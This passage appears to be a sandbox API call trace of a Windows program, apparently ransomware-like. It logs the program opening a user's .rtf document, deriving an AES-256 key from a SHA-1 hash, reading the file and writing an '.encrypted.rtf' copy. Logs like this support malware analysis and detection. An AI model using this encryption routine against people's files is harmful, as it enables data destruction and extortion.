lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Z qH-1_5g2NYPxao.rtf", cchWideChar=63, lpMultiByteStr=0xe8f4051ae0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Z qH-1_5g2NYPxao.rtf", lpUsedDefaultChar=0x0) returned 63 [0024.852] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Z qH-1_5g2NYPxao.rtf" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\z qh-1_5g2nypxao.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=63, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0024.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=63, lpWideCharStr=0xe8f4069110, cchWideChar=63 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Z qH-1_5g2NYPxao.rtf") returned 63 [0024.853] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.853] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.853] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.854] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.854] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178800, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.854] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.854] CloseHandle (hObject=0x1fc) returned 1 [0024.854] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.854] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.854] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.855] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.855] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.855] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.855] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.855] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.855] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.855] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.855] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.855] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.855] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.855] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.855] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.855] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.855] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.855] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.855] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.855] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.855] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.855] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.855] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.855] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.855] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.856] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.856] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.856] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.856] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.856] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.856] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.856] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.856] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.856] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.856] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.856] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0024.856] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.856] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.856] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.856] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.856] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.856] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.856] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.856] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.856] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.856] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.856] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.856] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.856] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.857] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.857] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.857] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.857] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.857] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.857] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.857] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.857] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.857] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.857] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.857] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.858] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.858] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.858] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418bab0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.858] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.858] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.858] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.858] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.858] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.858] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.858] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.858] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.858] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0024.858] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.858] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.858] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.858] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.858] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.858] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.858] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.858] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.858] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0024.859] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.860] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.860] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.860] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.860] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.860] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Z qH-1_5g2NYPxao.rtf" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\z qh-1_5g2nypxao.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.860] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.860] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.860] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.860] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.860] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.861] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai")) returned 0x10 [0024.861] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Z qH-1_5g2NYPxao.encrypted.rtf" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\z qh-1_5g2nypxao.encrypted.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.861] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.861] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.861] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.861] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.862] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.862] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x677f, lpOverlapped=0x0) returned 1 [0024.863] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.866] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.866] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.866] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.866] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.867] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.867] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.867] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.867] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.867] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.867] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 